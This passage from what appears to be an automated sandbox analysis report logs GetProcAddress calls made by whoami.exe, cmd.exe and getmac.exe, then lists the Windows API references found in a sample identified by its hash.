"GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004116) "whoami.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004116) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006676) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006676) "getmac.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003540) "getmac.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003540)2e:Tb122,Found reference to API (Indicator: "MessageBoxW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RtlCaptureStackBackTrace"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "IsWow64Process"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FlsAlloc"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FlsFree"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FlsSetValue"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "AreFileApisANSI"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CompareStringEx"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FlsGetValue"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LCMapStringEx"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LocaleNameToLCID"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegisterClassW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreateWindowExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "DispatchMessageW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "PostQuitMessage"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "DefWindowProcW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "Sleep"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "ExitProcess"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetFileAttributesW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LoadLibraryW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetProcAddress"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetFileAttributesExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetLastError"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "WSAIoctl"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CryptAcquireContextW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CryptAcquireContextA"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CryptGenRandom"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegCloseKey"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegQueryInfoKeyW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegCreateKeyExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegOpenKeyExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegDeleteKeyW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegQueryValueExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegSetValueExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegDeleteValueW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegFlushKey"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegEnumKeyExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RegEnumValueW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "EnterCriticalSection"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "InitializeCriticalSection"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LeaveCriticalSection"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FlushFileBuffers"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetModuleFileNameW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreateFileW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetFilePointer"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "WriteFile"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CloseHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetFileSize"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "ReadFile"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "ResumeThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "WaitForSingleObject"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetExitCodeThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SwitchToThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetSystemInfo"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetModuleHandleA"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetStdHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetLastError"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreatePipe"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetCurrentThreadId"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetCurrentThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetCurrentProcess"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "DuplicateHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FreeLibrary"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "WideCharToMultiByte"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "MultiByteToWideChar"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "DeleteCriticalSection"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TryEnterCriticalSection"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LoadLibraryA"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TzSpecificLocalTimeToSystemTime"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreateProcessW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetHandleInformation"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetHandleInformation"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FormatMessageW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LocalFree"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreateSemaphoreA"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "ReleaseSemaphore"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "VirtualAlloc"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "VirtualFree"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RtlCaptureContext"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "lstrlenW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetCurrentProcessId"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FindFirstFileW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FindNextFileW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FindClose"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreateDirectoryW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetEvent"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreateEventW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "OpenThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TerminateThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SuspendThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetThreadContext"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetModuleHandleExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "VerSetConditionMask"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "InitializeSListHead"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "IsDebuggerPresent"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetStartupInfoW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetModuleHandleW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TlsAlloc"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TlsGetValue"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TlsSetValue"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TlsFree"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LoadLibraryExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "RaiseException"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetStdHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetFileType"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CreateThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "ExitThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "WriteConsoleW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetFilePointerEx"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "TerminateProcess"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "HeapFree"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "HeapAlloc"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "HeapReAlloc"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetConsoleMode"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "ReadConsoleW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetConsoleCP"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetFileSizeEx"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "CompareStringW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "LCMapStringW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "SetEndOfFile"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "FindFirstFileExW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "IsValidCodePage"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetACP"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetOEMCP"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetCPInfo"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetCommandLineA"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetCommandLineW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetStringTypeW"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "GetProcessHeap"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "HeapSize"; 